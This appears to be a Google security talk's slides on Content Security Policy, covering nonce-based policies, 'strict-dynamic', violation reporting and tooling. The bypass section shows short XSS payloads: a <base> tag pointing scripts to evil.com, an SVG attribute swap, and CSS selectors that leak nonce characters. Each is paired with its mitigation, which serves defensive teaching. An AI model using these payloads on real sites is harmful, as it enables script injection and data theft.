So we broke all CSPs ... 

You won't guess what happened next!
We work in a special focus area of the Google security team aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs.
Recap

what happened last year
Summary

- CSP is mostly used to mitigate XSS

- most CSPs are based on whitelists
  - >94% automatically bypassable

- introduced 'strict-dynamic' to ease adoption of policies based on nonces
CSP is Dead, Long Live CSP
On the Insecurity of Whitelists and the Future of Content Security Policy
ACM CCS, 2016, Vienna

https://goo.gl/VRuuFN
Recap: How do CSP Nonces Work?

Policy based on nonces

```
script-src 'nonce-r4nd0m';  ← This part needs to be random for every response!
object-src 'none'; base-uri 'none';
```

- all `<script>` tags with the correct nonce attribute will get executed
- `<script>` tags injected via XSS will be blocked because of missing nonce
- no host/path whitelists
- no bypasses caused by JSONP-like endpoints on external domains
- no need to go through painful process of crafting/maintaining whitelist
Recap: How do CSP Nonces Work?

Content-Security-Policy:

```
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
```

```
<script nonce="r4nd0m">
doStuff();
</script>
<script nonce="r4nd0m"
src="//yep.com/x.js">
```
Recap: How do CSP Nonces Work?

Content-Security-Policy:

```
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
```

- `<script nonce="r4nd0m"> doStuff(); </script>`
- `<script nonce="r4nd0m" src="//yep.com/x.js">` - allows
- `"">'</script src="//yep.com/x.js">`
- `"">'</script>alert(42) </script>`
- `"">'</script>alert(42) </script>`
- `script without correct nonce` - blocks
- `source neither nonced nor whitelisted` - blocks
- `money.example.com/csp_violations`
Recap: What is 'strict-dynamic'?  

**Strict policy**

```
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
```

- grant trust transitively via a one-use token (nonce) instead of listing whitelisted origins
- 'strict-dynamic' in a script-src:
  - discards whitelists (for backward-compatibility)
  - allows JS execution when created via e.g. `document.createElement('script')`
- enables nonce-only CSPs to work in practice
Recap: What is 'strict-dynamic'?

**Strict policy**

```javascript
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
```

```html
<script nonce="r4nd0m">
  var s = document.createElement("script");
  s.src = "//example.com/bar.js";
  document.body.appendChild(s);
</script>
```

```html
<script nonce="r4nd0m">
  var s = '<script 
    src="//example.com/bar.js"></script>";
  document.write(s);
</script>
```

```html
<script nonce="r4nd0m">
  var s = '<script 
    src="//example.com/bar.js"></script>";
  document.body.innerHTML = s;
</script>
```
Deploying CSP at Google scale
> 1 Billion Users
get served a strict CSP

~ 50M CSP Reports
yes, there's a lot of noise :)

> 150 Services
that set a strict CSP header
Google Services with a Strict CSP

passwords.google.com
Docs/Drive
bugs.chromium.org
Photos
Cultural Institute
Accounts
History
Cloud Console
Activities
Google+
Flights Booking
Wallet
Gmail
Contacts
Careers Search
Google Admin
Chrome Webstore
CSP Support in Core Frameworks

- strict CSP *on-by-default* for new services
- existing services can be migrated by just switching a flag (e.g. Google+)

**requirements:**
- service-independent CSP configuration
- conformance tests (disallow inline event handlers)
- templates that support "*auto-noncing*"
  - Closure Templates ([example](http://example.com))
- sophisticated monitoring tools
One Policy to Rule Them All!

```
script-src 'nonce-r4nd0m' 'strict-dynamic' 'report-sample' 'unsafe-inline' https:;
object-src 'none'; base-uri 'none';
```

Effective Policy in CSP3 compatible browser (strict-dynamic support)

```
script-src 'nonce-r4nd0m' 'strict-dynamic' 'report-sample' 'unsafe-inline' https:;
object-src 'none'; base-uri 'none';
```
Closure Templates with auto-noncing

Example handler

def handle_request(self, request, response):
    CSP_HEADER = 'Content-Security-Policy'
    # Set random nonce per response
    nonce = base64.b64encode(os.urandom(20))
    csp = "script-src 'nonce-' + nonce + '';"
    self.response.headers.add(CSP_HEADER, csp)

    ijdta = { 'csp_nonce': nonce }
    template_values = {'s': request.get('foo','')}
    self.send_template(
        'example.test', template_values, ijdta)

Closure template

{namespace example autoescape="strict"}

{template .test}
{param? s: string}
<html>
  <script nonce="PRY7hLUXe98MdJAwNoGSdEpGV0A=">
    var s = '{$s}';
  </script>
</html>

Rendered output

<html>
  <script nonce="PRY7hLUXe98MdJAwNoGSdEpGV0A=">
    var s = 'properlyEscapedUserInput';
  </script>
</html>
SHIP IT !!1

▷ but wait... How do we find out if everything is still working?

▷ CSP violation reports!

▷ Problem
  ○ so far most inline violation reports were NOT actionable :(  
  ○ no way to distinguish between actual breakage and noise from browser extensions...  
  ○ we receive ~50M reports / day → Noise!
New 'report-sample' keyword

Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression
New 'report-sample' keyword

- `report-sample` governs `script-sample`
  - Firefox already sends script "samples"
  - new 'report-sample' keyword also includes samples for **inline-event handlers**!

- added to CSP3 and ships with Chrome 59
New 'report-sample' keyword

CSP

```
script-src 'nonce-abc'; report-uri /csp;
```

**Inline script**

```
<html>
  <script>hello(1)</script>
...</html>
```

**Inline Event Handler**

```
<html>
  <img onload="loaded()">
  ...
</html>
```

**script injected by browser extension**

```
<html>
  <script>try {
    window.AG_onLoad = function(func)
    ...
  }
</html>
```

**Report**

- **Inline script**
  - csp-report:
    - blocked-uri:"inline"
    - document-uri:"https://f.bar/foo"
    - effective-directive:"script-src"

- **Inline Event Handler**
  - csp-report:
    - blocked-uri:"inline"
    - document-uri:"https://f.bar/foo"
    - effective-directive:"script-src"

- **script injected by browser extension**
  - csp-report:
    - blocked-uri:"inline"
    - document-uri:"https://f.bar/foo"
    - effective-directive:"script-src"

⚠️ 3 different causes of violations yield the exact same report! → not possible to filter out noise from extensions
New 'report-sample' keyword

script-src 'nonce-abc' 'report-sample'; report-uri /csp;

Inline script
<html>
  <script>hello(1)</script>
</html>

Inline Event Handler
<html>
  <img onload="loaded()">
</html>

script injected by browser extension
<html>
  <script>try {
    window.AG_onLoad = function(func)
  }
</script>
</html>

CSP
<code>csp-report: blocked-uri:"inline"
document-uri:"https://f.bar/foo"
effective-directive:"script-src"
script-sample:"hello(1)"
</code>

<code>csp-report: blocked-uri:"inline"
document-uri:"https://f.bar/foo"
effective-directive:"script-src"
script-sample:"loaded()"
</code>

<code>csp-report: blocked-uri:"inline"
document-uri:"https://f.bar/foo"
effective-directive:"script-src"
script-sample:"try {
  window.AG_onLoad = function(func)"
</code>

script-sample allows to differentiate different violation causes
Report Noise

- *script-sample* can be used to create signatures for e.g. noisy browser extensions

<table>
<thead>
<tr>
<th>Count</th>
<th>script-sample</th>
<th>Cause</th>
</tr>
</thead>
</table>
| 1,058,861  | try {
|            | var AG_onLoad=function(func){if(d...                                      | AdGuard Extension       |
| 424,701    | (function (a,x,m,l){var c={safeWindow:}...                                  | Extension               |
| 316,585    | (function installGlobalHook(window)                                         | React Devtools Extension|
| ...        | ...                                                                           | ...                     |

Nice collection of common noise signatures:
CSP tools @Google
time for some real engineering!
CSP Mitigator

▷ fast and easy CSP deployment analysis tool

▷ identifies parts of your application which are not compatible with CSP

▷ helps make necessary changes before deployment

https://goo.gl/oQDEIs
# CSP Evaluator

csp-evaluator.withgoogle.com

## Content Security Policy

The Content Security Policy (CSP) is a security feature that restricts how web browsers load content. It helps protect websites from various types of attacks, such as cross-site scripting (XSS) and injection attacks.

### Sample Unsafe Policy

```plaintext
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm.js
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com;
default-src 'self' * https://[2a00:79e8:1b:2:b466:5fd9:dc72:f00e]/foobar;
img-src https://data;
child-src data;
foobar-src 'foobar';
report-uri http://csp.example.com;
```

### Sample Safe Policy

The safe policy includes the following directives:

- Use `script-src` to restrict the execution of scripts.
- Use `style-src` to restrict the loading of stylesheets.
- Use `img-src` to restrict the loading of images.
- Use `child-src` to restrict the loading of child resources.
- Use `report-uri` to send reports of policy violations.

### Evaluating CSP

**CSP Version 3 (nonce based + backward compatibility checks)**

**CHECK CSP**

The evaluated CSP as seen by a browser supporting CSP Version 3:

<table>
<thead>
<tr>
<th>Directive</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>script-src</code></td>
<td>Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.</td>
</tr>
<tr>
<td><code>unsafe-inline</code></td>
<td>'unsafe-inline' allows the execution of unsafe in-page scripts and event handlers.</td>
</tr>
<tr>
<td><code>unsafe-eval</code></td>
<td>'unsafe-eval' allows the execution of code injected into DOM APIs such as eval().</td>
</tr>
<tr>
<td><code>self</code></td>
<td>'self' can be problematic if you host JSONP, Angular, or other uploaded files.</td>
</tr>
<tr>
<td><code>data:</code></td>
<td>URL in script-src allows the execution of unsafe scripts.</td>
</tr>
<tr>
<td><code>https://www.google.com</code></td>
<td><a href="http://www.google.com">www.google.com</a> is known to host JSONP endpoints which allow to bypass this CSP.</td>
</tr>
<tr>
<td><code>http://www.google-analytics.com/gtm.js</code></td>
<td><a href="http://www.google-analytics.com">www.google-analytics.com</a> is known to host JSONP endpoints which allow to bypass this CSP.</td>
</tr>
<tr>
<td><code>https://gstatic.com/feedback/</code></td>
<td>Allow only resources downloaded over HTTPS.</td>
</tr>
<tr>
<td><code>https://ajax.googleapis.com</code></td>
<td>No bypass found, make sure that this URL doesn't serve JSONP replies or Angular libraries.</td>
</tr>
</tbody>
</table>

- `style-src` is allowed.
- `default-src *` is allowed.
- `img-src data:` is allowed.
- `child-src data:` is allowed.
- `report-uri http://csp.example.com` is allowed.
- `object-src [missing]` would be allowed if you restrict it to `'self'`.

---

[DEMO](https://csp-evaluator.withgoogle.com)
CSP Frontend

▷ intelligent report deduplication strategies
  ○ aggressive deduplication by default
    ■ leverages 'script-sample'

▷ real-time filtering of violation report fields

▷ ability to drill-down to investigate further
### FILTERS

- **HIGH-LEVEL VIEW**

#### Violations count by directive

<table>
<thead>
<tr>
<th>Directive</th>
<th>Count</th>
<th>Date (Month/Year)</th>
</tr>
</thead>
<tbody>
<tr>
<td>script-src</td>
<td>114</td>
<td>Apr 08</td>
</tr>
<tr>
<td>script-src</td>
<td>39</td>
<td>Apr 08</td>
</tr>
<tr>
<td>script-src</td>
<td>39</td>
<td>Apr 08</td>
</tr>
<tr>
<td>inline</td>
<td>29</td>
<td>Apr 08</td>
</tr>
<tr>
<td>inline</td>
<td>25</td>
<td>Apr 08</td>
</tr>
<tr>
<td>inline</td>
<td>21</td>
<td>Apr 08</td>
</tr>
</tbody>
</table>

#### Violations trend by directive

![Graph showing violations trend by directive]

### VIOLATIONS

<table>
<thead>
<tr>
<th>Count</th>
<th>Last Seen</th>
<th>Last Document URI</th>
<th>Last Blocked URI</th>
<th>Directive</th>
<th>Sample</th>
<th>Last Browser</th>
</tr>
</thead>
</table>
## Detailed CSP Violation Reports View

<table>
<thead>
<tr>
<th>Count</th>
<th>Last Seen</th>
<th>Last Document URI</th>
<th>Last Blocked URI</th>
<th>Directive</th>
<th>Sample</th>
<th>Last Browser</th>
</tr>
</thead>
</table>
Measuring Coverage

- monitor CSP header coverage for HTML responses

- alerts
  - no CSP
  - bad CSP
    - evaluated by the CSP Evaluator automatically
What can go wrong?
bypasses and how to deal with them
Injection of `<base>`

```html
<script-src 'nonce-r4nd0m';

<!-- XSS -->
<base href="https://evil.com/">
<!-- End XSS -->
...

<script src="foo/bar.js" nonce="r4nd0m"></script>
```

**Problem**
- re-basing nonced scripts to evil.com
- scripts will execute because they have a valid nonce :(

Credit: @jackmasa  
http://sebastian-lekies.de/csp/bypasses.php
Injection of `<base>`

```html
<script-src 'nonce-r4nd0m';
base-uri 'none';

<!-- XSS -->
<base href="https://evil.com/">
<!-- End XSS -->
...
<script src="foo/bar.js" nonce="r4nd0m"></script>
```

▷ **Solution**
- add `base-uri 'none'`
- or `self`, if `none` is not feasible and there are no path-based open redirectors on the origin

Credit: @jackmasa
http://sebastian-lekies.de/csp/bypasses.php
Replace Legitimate `<script#src>`

Problem

- SVG `<set>` can change attributes of other elements in Chromium

Solution

- prevent SVG from animating `<script>` attributes *(fixed in Chrome 58)*

Credit: Eduardo Vela Nava
http://sebastian-lekies.de/csp/bypasses.php

```html
<!-- XSS -->
<svg><set href="victim" attributeName="href" to="data:,alert(1)" />
<!-- End XSS -->
...
<script id="victim" src="foo.js" nonce="r4nd0m"></script>
```
Steal and Reuse Nonces

via CSS selectors

```html
<!-- XSS -->
<style>
script { display: block }
script[nonce^="a"]:after { content: url("record?a") }
script[nonce^="b"]:after { content: url("record?b") }
</style>
<!-- End XSS -->
<script src="foo/bar.js" nonce="r4nd0m"></script>
```
Steal and Reuse Nonces

via dangling markup attack

Credit: Eduardo Vela Nava, Sebastian Lekies
http://sebastian-lekies.de/csp/bypasses.php
Steal and Reuse Nonces

- make the browser **reload** the original document without triggering a server request: HTTP cache, AppCache, browser B/F cache

```javascript
victimFrame.src = "data:text/html,\n<script>history.back()</script>"
```
Steal and **Reuse Nonces**

- exploit cases where attacker can trigger the **XSS** multiple times
  - XSS due to data received via `postMessage()`
  - persistent DOM XSS where the payload is fetched via `XHR` and "re-synced"

Credit: Sebastian Lekies

Mitigating Bypasses

▷ injection of `<base>`
  ○ fixed by adding `base-uri 'none'`

▷ replace legitimate `<script#src>` (Chrome bug)
  ○ fixed in Chrome 58+

▷ prevent exfiltration of nonce
  ■ do not expose the nonce to the DOM at all
    ● during parsing, replace the nonce attribute with a dummy value (`nonce="[Replaced]"`)
    ● fixed in Chrome 59+
Mitigating Bypasses

mitigating dangling markup attacks?

- precondition:
  - needs parser-inserted sink like `document.write` to be exploitable

- proposal to forbid parser-inserted sinks (opt-in) - fully compatible with `strict-dynamic` and enforces best coding practices
Mitigating Bypasses
JS framework-based CSP Bypasses

▷ strict CSP protects from traditional XSS

▷ commonly used libraries and frameworks introduce bypasses
  ○ eval-like functionality using a non-script DOM element as a source
  ○ a problem only with unsafe-eval or with strict-dynamic if done through createElement('script')

Credit: Sebastian Lekies
http://sebastian-lekies.de/csp/bypasses.php
JS framework Bypass Mitigations

▷ make the library CSP-aware
  ○ introduce nonce checking in JS

▷ example: jQuery 2.x
  ○ via $.html, $.append/prepend, $.replaceWith ...
  ○ parses <script>...</script> and puts it in a dynamically generated script tag or through eval
jQuery 2.2 Script Evaluation Logic

```javascript
    // Evaluates a script in a global context
    globalEval: function( code ) {
        var script,
            indirect = eval;

        code = jQuery.trim( code );

        if ( code ) {
            // If the code includes a valid, prologue position
            // strict mode pragma, execute code by injecting a
            // script tag into the document.
            if ( code.indexOf( "use strict" ) === 1 ) {
                script = document.createElement( "script" );
                script.text = code;
                document.head.appendChild( script ).parentNode.removeChild( script );
            } else {
                // Otherwise, avoid the DOM node creation, insertion
                // and removal by using an indirect global eval
                indirect( code );
            }
        }
    },
```
How We Patched jQuery at Google

```javascript
// Evaluates a script in a global context
globalEval: function( code ) {
    var script,
        indirect = eval;

    code = jQuery.trim( code );

    if ( code ) {
        // You should not be here :)
        throw new Error("You should not be here :)");
    }
},
```
Wrapping up

get your questions ready!
Wrapping Up

▷ CSP whitelists are broken
▷ nonces + strict-dynamic greatly simplify CSP rollout
▷ CSP is not a silver bullet
  ○ there are bypasses with various pre-conditions and constraints
▷ Overall CSP is still a very powerful defense-in-depth mechanism to mitigate XSS
Thanks!
Any questions?

@mikispag
@we1x
{lwe,mikispag}@google.com